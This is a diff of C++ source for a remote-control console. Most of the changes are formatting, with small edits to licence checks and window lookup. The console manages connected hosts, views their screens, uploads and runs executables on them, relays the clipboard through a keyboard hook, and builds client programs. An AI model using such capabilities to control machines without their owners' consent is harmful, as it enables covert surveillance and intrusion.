|
||||||
|
|
||||||
UPDATE_SPLASH(20, "正在初始化文件上传模块...");
|
UPDATE_SPLASH(20, "正在初始化文件上传模块...");
|
||||||
int ret = InitFileUpload(GetHMAC());
|
int ret = InitFileUpload(GetHMAC());
|
||||||
@@ -1698,10 +1737,11 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
std::string floatToString(float f) {
|
std::string floatToString(float f)
|
||||||
char buf[32];
|
{
|
||||||
snprintf(buf, sizeof(buf), "%.2f", f);
|
char buf[32];
|
||||||
return std::string(buf);
|
snprintf(buf, sizeof(buf), "%.2f", f);
|
||||||
|
return std::string(buf);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineDelete()
|
void CMy2015RemoteDlg::OnOnlineDelete()
|
||||||
@@ -1722,10 +1762,10 @@ void CMy2015RemoteDlg::OnOnlineDelete()
|
|||||||
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
|
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
|
||||||
m_CList_Online.DeleteItem(iItem);
|
m_CList_Online.DeleteItem(iItem);
|
||||||
m_HostList.erase(ctx);
|
m_HostList.erase(ctx);
|
||||||
auto tm = ctx->GetAliveTime();
|
auto tm = ctx->GetAliveTime();
|
||||||
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
||||||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||||||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||||||
ctx->Destroy();
|
ctx->Destroy();
|
||||||
strIP+="断开连接";
|
strIP+="断开连接";
|
||||||
ShowMessage("操作成功",strIP + "[" + aliveInfo.c_str() + "]");
|
ShowMessage("操作成功",strIP + "[" + aliveInfo.c_str() + "]");
|
||||||
@@ -1840,7 +1880,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail)
|
|||||||
auto settings = "settings", pwdKey = "Password";
|
auto settings = "settings", pwdKey = "Password";
|
||||||
// 验证口令
|
// 验证口令
|
||||||
CPasswordDlg dlg(this);
|
CPasswordDlg dlg(this);
|
||||||
static std::string hardwareID = getHardwareID(getHwFallback);
|
static std::string hardwareID = GetHardwareID();
|
||||||
static std::string hashedID = hashSHA256(hardwareID);
|
static std::string hashedID = hashSHA256(hardwareID);
|
||||||
static std::string deviceID = getFixedLengthID(hashedID);
|
static std::string deviceID = getFixedLengthID(hashedID);
|
||||||
CString pwd = THIS_CFG.GetStr(settings, pwdKey, "").c_str();
|
CString pwd = THIS_CFG.GetStr(settings, pwdKey, "").c_str();
|
||||||
@@ -1865,6 +1905,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail)
|
|||||||
std::string fixedKey = getFixedLengthID(finalKey);
|
std::string fixedKey = getFixedLengthID(finalKey);
|
||||||
if (hash256 != fixedKey) {
|
if (hash256 != fixedKey) {
|
||||||
THIS_CFG.SetStr(settings, pwdKey, "");
|
THIS_CFG.SetStr(settings, pwdKey, "");
|
||||||
|
THIS_CFG.SetStr(settings, "PwdHmac", "");
|
||||||
if (pwd.IsEmpty() || hash256 != fixedKey || IDOK != dlg.DoModal()) {
|
if (pwd.IsEmpty() || hash256 != fixedKey || IDOK != dlg.DoModal()) {
|
||||||
if (!dlg.m_sPassword.IsEmpty())
|
if (!dlg.m_sPassword.IsEmpty())
|
||||||
MessageBox("口令错误, 无法继续操作!", "提示", MB_ICONWARNING);
|
MessageBox("口令错误, 无法继续操作!", "提示", MB_ICONWARNING);
|
||||||
@@ -2264,27 +2305,30 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
uint64_t hmac = len > 64 ? *((uint64_t*)(szBuffer+62)) : 0;
|
uint64_t hmac = len > 64 ? *((uint64_t*)(szBuffer+62)) : 0;
|
||||||
auto v = splitString(passcode, '-');
|
auto v = splitString(passcode, '-');
|
||||||
if (v.size() == 6 || v.size() == 7) {
|
if (v.size() == 6 || v.size() == 7) {
|
||||||
std::vector<std::string> subvector(v.end() - 4, v.end());
|
std::vector<std::string> subvector(v.end() - 4, v.end());
|
||||||
std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash() + (v.size() == 6 ? "" : ": " + v[2]);
|
std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash() + (v.size() == 6 ? "" : ": " + v[2]);
|
||||||
std::string finalKey = deriveKey(password, sn);
|
std::string finalKey = deriveKey(password, sn);
|
||||||
std::string hash256 = joinString(subvector, '-');
|
std::string hash256 = joinString(subvector, '-');
|
||||||
std::string fixedKey = getFixedLengthID(finalKey);
|
std::string fixedKey = getFixedLengthID(finalKey);
|
||||||
valid = (hash256 == fixedKey);
|
valid = (hash256 == fixedKey);
|
||||||
}
|
}
|
||||||
if (valid) {
|
if (valid) {
|
||||||
static const char* superAdmin = getenv("YAMA_PWD");
|
static const char* superAdmin = getenv("YAMA_PWD");
|
||||||
std::string pwd = superAdmin ? superAdmin : m_superPass;
|
std::string pwd = superAdmin ? superAdmin : m_superPass;
|
||||||
if (VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac)) {
|
if (VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac)) {
|
||||||
Mprintf("%s 校验成功, HMAC 校验成功: %s\n", passcode.c_str(), sn.c_str());
|
Mprintf("%s 校验成功, HMAC 校验成功: %s\n", passcode.c_str(), sn.c_str());
|
||||||
std::string tip = passcode + " 校验成功: " + sn;
|
std::string tip = passcode + " 校验成功: " + sn;
|
||||||
CharMsg* msg = new CharMsg(tip.c_str());
|
CharMsg* msg = new CharMsg(tip.c_str());
|
||||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
valid = FALSE;
|
valid = FALSE;
|
||||||
Mprintf("%s 校验成功, HMAC 校验失败: %s\n", passcode.c_str(), sn.c_str());
|
Mprintf("%s 校验成功, HMAC 校验失败: %s\n", passcode.c_str(), sn.c_str());
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
Mprintf("%s 校验失败: %s\n", passcode.c_str(), sn.c_str());
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
Mprintf("授权数据长度不足: %u\n", len);
|
||||||
}
|
}
|
||||||
char resp[100] = { valid };
|
char resp[100] = { valid };
|
||||||
const char* msg = valid ? "此程序已获授权,请遵守授权协议,感谢合作" : "未获授权或消息哈希校验失败";
|
const char* msg = valid ? "此程序已获授权,请遵守授权协议,感谢合作" : "未获授权或消息哈希校验失败";
|
||||||
@@ -2301,9 +2345,8 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
|
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
|
||||||
std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
|
std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
|
||||||
hash, hmac).detach();
|
hash, hmac).detach();
|
||||||
}
|
} else {
|
||||||
else {
|
Mprintf("GetClipboardFiles failed: %d\n", result);
|
||||||
Mprintf("GetClipboardFiles failed: %d\n", result);
|
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -2569,10 +2612,10 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
|||||||
CLock L(m_cs);
|
CLock L(m_cs);
|
||||||
m_HostList.erase(host);
|
m_HostList.erase(host);
|
||||||
}
|
}
|
||||||
DialogBase* p = (DialogBase*)wParam;
|
DialogBase* p = (DialogBase*)wParam;
|
||||||
if (p && ::IsWindow(p->GetSafeHwnd()) && p->ShouldReconnect()) {
|
if (p && ::IsWindow(p->GetSafeHwnd()) && p->ShouldReconnect()) {
|
||||||
return S_OK;
|
return S_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
CString ip, port;
|
CString ip, port;
|
||||||
port.Format("%d", lParam);
|
port.Format("%d", lParam);
|
||||||
@@ -2586,9 +2629,9 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
|||||||
m_CList_Online.DeleteItem(i);
|
m_CList_Online.DeleteItem(i);
|
||||||
m_HostList.erase(ctx);
|
m_HostList.erase(ctx);
|
||||||
auto tm = ctx->GetAliveTime();
|
auto tm = ctx->GetAliveTime();
|
||||||
std::string aliveInfo = tm>=86400 ? floatToString(tm / 86400.f) + " d" :
|
std::string aliveInfo = tm>=86400 ? floatToString(tm / 86400.f) + " d" :
|
||||||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||||||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||||||
ShowMessage("操作成功", ip + "主机下线[" + aliveInfo.c_str() + "]");
|
ShowMessage("操作成功", ip + "主机下线[" + aliveInfo.c_str() + "]");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -2671,13 +2714,13 @@ context* CMy2015RemoteDlg::FindHost(int port)
|
|||||||
|
|
||||||
context* CMy2015RemoteDlg::FindHost(uint64_t id)
|
context* CMy2015RemoteDlg::FindHost(uint64_t id)
|
||||||
{
|
{
|
||||||
CLock L(m_cs);
|
CLock L(m_cs);
|
||||||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||||||
if ((*i)->GetClientID() == id) {
|
if ((*i)->GetClientID() == id) {
|
||||||
return *i;
|
return *i;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
|
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
|
||||||
@@ -2731,15 +2774,15 @@ BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
|
|||||||
LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
||||||
{
|
{
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||||
LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41);
|
LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41);
|
||||||
LPBYTE q = ContextObject->InDeCompressedBuffer.GetBuffer(49);
|
LPBYTE q = ContextObject->InDeCompressedBuffer.GetBuffer(49);
|
||||||
uint64_t clientID = p ? *((uint64_t*)p) : 0;
|
uint64_t clientID = p ? *((uint64_t*)p) : 0;
|
||||||
uint64_t dlgID = q ? *((uint64_t*)q) : 0;
|
uint64_t dlgID = q ? *((uint64_t*)q) : 0;
|
||||||
auto mainCtx = clientID ? FindHost(clientID) : NULL;
|
auto mainCtx = clientID ? FindHost(clientID) : NULL;
|
||||||
CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL;
|
CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL;
|
||||||
if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
|
if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
|
||||||
if (dlg) {
|
if (dlg) {
|
||||||
if (GetRemoteWindow(dlg->GetSafeHwnd()))
|
if (GetRemoteWindow(dlg))
|
||||||
return dlg->UpdateContext(ContextObject);
|
return dlg->UpdateContext(ContextObject);
|
||||||
Mprintf("收到远程桌面打开消息, 对话框已经销毁: %lld\n", dlgID);
|
Mprintf("收到远程桌面打开消息, 对话框已经销毁: %lld\n", dlgID);
|
||||||
}
|
}
|
||||||
@@ -2855,7 +2898,8 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
|
|||||||
return CDialogEx::PreTranslateMessage(pMsg);
|
return CDialogEx::PreTranslateMessage(pMsg);
|
||||||
}
|
}
|
||||||
|
|
||||||
LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) {
|
LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
// WM_COMMAND 不计时
|
// WM_COMMAND 不计时
|
||||||
if (message == WM_COMMAND) {
|
if (message == WM_COMMAND) {
|
||||||
return CDialogEx::WindowProc(message, wParam, lParam);
|
return CDialogEx::WindowProc(message, wParam, lParam);
|
||||||
@@ -2866,13 +2910,12 @@ LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
|
|||||||
LRESULT result = CDialogEx::WindowProc(message, wParam, lParam);
|
LRESULT result = CDialogEx::WindowProc(message, wParam, lParam);
|
||||||
|
|
||||||
auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(
|
auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||||
std::chrono::steady_clock::now() - start).count();
|
std::chrono::steady_clock::now() - start).count();
|
||||||
|
|
||||||
if (ms > m_TraceTime) {
|
if (ms > m_TraceTime) {
|
||||||
if (message >= WM_USER) {
|
if (message >= WM_USER) {
|
||||||
Mprintf("[BLOCKED] WM_USER + %d 阻塞: %lld ms\n", message - WM_USER, ms);
|
Mprintf("[BLOCKED] WM_USER + %d 阻塞: %lld ms\n", message - WM_USER, ms);
|
||||||
}
|
} else {
|
||||||
else {
|
|
||||||
Mprintf("[BLOCKED] MSG 0x%04X (%d) 阻塞: %lld ms\n", message, message, ms);
|
Mprintf("[BLOCKED] MSG 0x%04X (%d) 阻塞: %lld ms\n", message, message, ms);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -2912,7 +2955,7 @@ LRESULT CMy2015RemoteDlg::ShareClient(WPARAM wParam, LPARAM lParam)
|
|||||||
void CMy2015RemoteDlg::OnToolAuth()
|
void CMy2015RemoteDlg::OnToolAuth()
|
||||||
{
|
{
|
||||||
CPwdGenDlg dlg;
|
CPwdGenDlg dlg;
|
||||||
std::string hardwareID = getHardwareID(getHwFallback);
|
std::string hardwareID = GetHardwareID();
|
||||||
std::string hashedID = hashSHA256(hardwareID);
|
std::string hashedID = hashSHA256(hardwareID);
|
||||||
std::string deviceID = getFixedLengthID(hashedID);
|
std::string deviceID = getFixedLengthID(hashedID);
|
||||||
dlg.m_sDeviceID = deviceID.c_str();
|
dlg.m_sDeviceID = deviceID.c_str();
|
||||||
@@ -3445,10 +3488,10 @@ void CMy2015RemoteDlg::OnToolRequestAuth()
|
|||||||
std::string pwd = THIS_CFG.GetStr("settings", "Password");
|
std::string pwd = THIS_CFG.GetStr("settings", "Password");
|
||||||
BOOL noPwd = pwd.empty();
|
BOOL noPwd = pwd.empty();
|
||||||
if (noPwd && IDYES != MessageBoxA("本软件仅限于合法、正当、合规的用途。\r\n您是否同意?",
|
if (noPwd && IDYES != MessageBoxA("本软件仅限于合法、正当、合规的用途。\r\n您是否同意?",
|
||||||
"声明", MB_ICONQUESTION | MB_YESNO))
|
"声明", MB_ICONQUESTION | MB_YESNO))
|
||||||
return;
|
return;
|
||||||
CInputDialog dlg(this);
|
CInputDialog dlg(this);
|
||||||
dlg.m_str = getDeviceID(getHwFallback).c_str();
|
dlg.m_str = getDeviceID(GetHardwareID()).c_str();
|
||||||
dlg.Init(noPwd ? "请求授权" : "序列号", "序列号(唯一ID):");
|
dlg.Init(noPwd ? "请求授权" : "序列号", "序列号(唯一ID):");
|
||||||
if (!noPwd)
|
if (!noPwd)
|
||||||
dlg.Init2("授权口令:", pwd.c_str());
|
dlg.Init2("授权口令:", pwd.c_str());
|
||||||
@@ -3807,10 +3850,10 @@ void CMy2015RemoteDlg::OnOnlineUninstall()
|
|||||||
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
|
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
|
||||||
m_CList_Online.DeleteItem(iItem);
|
m_CList_Online.DeleteItem(iItem);
|
||||||
m_HostList.erase(ctx);
|
m_HostList.erase(ctx);
|
||||||
auto tm = ctx->GetAliveTime();
|
auto tm = ctx->GetAliveTime();
|
||||||
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
||||||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||||||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||||||
ctx->Destroy();
|
ctx->Destroy();
|
||||||
strIP += "断开连接";
|
strIP += "断开连接";
|
||||||
ShowMessage("操作成功", strIP + "[" + aliveInfo.c_str() + "]");
|
ShowMessage("操作成功", strIP + "[" + aliveInfo.c_str() + "]");
|
||||||
@@ -3882,7 +3925,7 @@ void CMy2015RemoteDlg::OnOnlineRegroup()
|
|||||||
{
|
{
|
||||||
CInputDialog dlg(this);
|
CInputDialog dlg(this);
|
||||||
dlg.Init("修改分组", "请输入分组名称:");
|
dlg.Init("修改分组", "请输入分组名称:");
|
||||||
if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()){
|
if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (dlg.m_str.GetLength() >= 24) {
|
if (dlg.m_str.GetLength() >= 24) {
|
||||||
@@ -3955,7 +3998,7 @@ void CMy2015RemoteDlg::OnExecuteDownload()
|
|||||||
void CMy2015RemoteDlg::OnExecuteUpload()
|
void CMy2015RemoteDlg::OnExecuteUpload()
|
||||||
{
|
{
|
||||||
CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
|
CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
|
||||||
_T("可执行文件 (*.exe)|*.exe||"), this);
|
_T("可执行文件 (*.exe)|*.exe||"), this);
|
||||||
|
|
||||||
if (dlg.DoModal() != IDOK)
|
if (dlg.DoModal() != IDOK)
|
||||||
return;
|
return;
|
||||||
@@ -4005,56 +4048,55 @@ void CMy2015RemoteDlg::OnDestroy()
|
|||||||
|
|
||||||
CString GetClipboardText()
|
CString GetClipboardText()
|
||||||
{
|
{
|
||||||
if (!OpenClipboard(nullptr)) return _T("");
|
if (!OpenClipboard(nullptr)) return _T("");
|
||||||
|
|
||||||
CString strText;
|
CString strText;
|
||||||
|
|
||||||
// 优先获取 Unicode 格式
|
// 优先获取 Unicode 格式
|
||||||
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
|
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
|
||||||
if (hData) {
|
if (hData) {
|
||||||
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
|
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
|
||||||
if (pszText) {
|
if (pszText) {
|
||||||
#ifdef UNICODE
|
#ifdef UNICODE
|
||||||
strText = pszText;
|
strText = pszText;
|
||||||
#else
|
#else
|
||||||
// 将 Unicode 转换为多字节(使用系统默认代码页)
|
// 将 Unicode 转换为多字节(使用系统默认代码页)
|
||||||
int len = WideCharToMultiByte(CP_ACP, 0, pszText, -1, nullptr, 0, nullptr, nullptr);
|
int len = WideCharToMultiByte(CP_ACP, 0, pszText, -1, nullptr, 0, nullptr, nullptr);
|
||||||
if (len > 0) {
|
if (len > 0) {
|
||||||
char* pBuf = strText.GetBuffer(len);
|
char* pBuf = strText.GetBuffer(len);
|
||||||
WideCharToMultiByte(CP_ACP, 0, pszText, -1, pBuf, len, nullptr, nullptr);
|
WideCharToMultiByte(CP_ACP, 0, pszText, -1, pBuf, len, nullptr, nullptr);
|
||||||
strText.ReleaseBuffer();
|
strText.ReleaseBuffer();
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
GlobalUnlock(hData);
|
GlobalUnlock(hData);
|
||||||
}
|
}
|
||||||
|
|
||||||
CloseClipboard();
|
CloseClipboard();
|
||||||
return strText;
|
return strText;
|
||||||
}
|
}
|
||||||
|
|
||||||
void SetClipboardText(const char* utf8Text)
|
void SetClipboardText(const char* utf8Text)
|
||||||
{
|
{
|
||||||
if (!OpenClipboard(nullptr)) return;
|
if (!OpenClipboard(nullptr)) return;
|
||||||
EmptyClipboard();
|
EmptyClipboard();
|
||||||
|
|
||||||
// UTF-8 转 Unicode
|
// UTF-8 转 Unicode
|
||||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, nullptr, 0);
|
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, nullptr, 0);
|
||||||
if (wlen > 0) {
|
if (wlen > 0) {
|
||||||
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
|
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
|
||||||
if (hGlob) {
|
if (hGlob) {
|
||||||
wchar_t* p = static_cast<wchar_t*>(GlobalLock(hGlob));
|
wchar_t* p = static_cast<wchar_t*>(GlobalLock(hGlob));
|
||||||
if (p) {
|
if (p) {
|
||||||
MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, p, wlen);
|
MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, p, wlen);
|
||||||
GlobalUnlock(hGlob);
|
GlobalUnlock(hGlob);
|
||||||
SetClipboardData(CF_UNICODETEXT, hGlob);
|
SetClipboardData(CF_UNICODETEXT, hGlob);
|
||||||
}
|
} else {
|
||||||
else {
|
GlobalFree(hGlob);
|
||||||
GlobalFree(hGlob);
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
CloseClipboard();
|
||||||
CloseClipboard();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
|
CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
|
||||||
@@ -4067,6 +4109,19 @@ CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
|
|||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(CDialogBase *dlg)
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
for (auto& pair : m_RemoteWnds) {
|
||||||
|
if (pair.second == dlg) {
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return pair.second;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd)
|
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd)
|
||||||
{
|
{
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
@@ -4129,9 +4184,8 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
|||||||
Sleep(100);
|
Sleep(100);
|
||||||
Mprintf("【Ctrl+V】 从本地拷贝文本到远程 \n");
|
Mprintf("【Ctrl+V】 从本地拷贝文本到远程 \n");
|
||||||
SAFE_DELETE_ARRAY(szBuffer);
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
}
|
} else {
|
||||||
else {
|
Mprintf("【Ctrl+V】 本地剪贴板没有文本或文件: %d \n", result);
|
||||||
Mprintf("【Ctrl+V】 本地剪贴板没有文本或文件: %d \n", result);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (g_2015RemoteDlg->m_pActiveSession && operateWnd) {
|
} else if (g_2015RemoteDlg->m_pActiveSession && operateWnd) {
|
||||||
@@ -4280,16 +4334,16 @@ void CMy2015RemoteDlg::OnParamLoginNotify()
|
|||||||
static BOOL notify = THIS_CFG.GetInt("settings", "LoginNotify", 0);
|
static BOOL notify = THIS_CFG.GetInt("settings", "LoginNotify", 0);
|
||||||
notify = !notify;
|
notify = !notify;
|
||||||
THIS_CFG.SetInt("settings", "LoginNotify", notify);
|
THIS_CFG.SetInt("settings", "LoginNotify", notify);
|
||||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||||
SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, notify ? MF_CHECKED : MF_UNCHECKED);
|
SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, notify ? MF_CHECKED : MF_UNCHECKED);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnParamEnableLog()
|
void CMy2015RemoteDlg::OnParamEnableLog()
|
||||||
{
|
{
|
||||||
m_settings.EnableLog = !m_settings.EnableLog;
|
m_settings.EnableLog = !m_settings.EnableLog;
|
||||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||||
SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
|
SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
|
||||||
THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
|
THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
|
||||||
SendMasterSettings(nullptr);
|
SendMasterSettings(nullptr);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
|
// 2015RemoteDlg.h : 头文件
|
||||||
// 2015RemoteDlg.h : 头文件
|
|
||||||
//
|
//
|
||||||
|
|
||||||
#pragma once
|
#pragma once
|
||||||
@@ -107,14 +106,13 @@ enum {
|
|||||||
|
|
||||||
class CSplashDlg; // 前向声明
|
class CSplashDlg; // 前向声明
|
||||||
|
|
||||||
inline std::string getHwFallback() {
|
#include "pwd_gen.h"
|
||||||
IPConverter cvt;
|
|
||||||
return cvt.getPublicIP();
|
|
||||||
}
|
|
||||||
|
|
||||||
// CMy2015RemoteDlg 对话框
|
// CMy2015RemoteDlg 对话框
|
||||||
class CMy2015RemoteDlg : public CDialogEx
|
class CMy2015RemoteDlg : public CDialogEx
|
||||||
{
|
{
|
||||||
|
public:
|
||||||
|
static std::string GetHardwareID(int v=-1);
|
||||||
protected:
|
protected:
|
||||||
ComputerNoteMap m_ClientMap;
|
ComputerNoteMap m_ClientMap;
|
||||||
CString GetClientMapData(ClientKey key, int typ)
|
CString GetClientMapData(ClientKey key, int typ)
|
||||||
@@ -253,6 +251,7 @@ public:
|
|||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||||
CDialogBase* GetRemoteWindow(HWND hWnd);
|
CDialogBase* GetRemoteWindow(HWND hWnd);
|
||||||
|
CDialogBase* GetRemoteWindow(CDialogBase* dlg);
|
||||||
void RemoveRemoteWindow(HWND wnd);
|
void RemoveRemoteWindow(HWND wnd);
|
||||||
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
||||||
afx_msg LRESULT OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam);
|
||||||
|
|||||||
@@ -423,12 +423,12 @@ BOOL CBuildDlg::OnInitDialog()
|
|||||||
m_OtherItem.ShowWindow(SW_HIDE);
|
m_OtherItem.ShowWindow(SW_HIDE);
|
||||||
|
|
||||||
m_runasAdmin = FALSE;
|
m_runasAdmin = FALSE;
|
||||||
m_MainMenu.LoadMenuA(IDR_MENU_BUILD);
|
m_MainMenu.LoadMenuA(IDR_MENU_BUILD);
|
||||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||||||
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, MF_CHECKED);
|
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, MF_CHECKED);
|
||||||
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, MF_UNCHECKED);
|
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, MF_UNCHECKED);
|
||||||
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单
|
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单
|
||||||
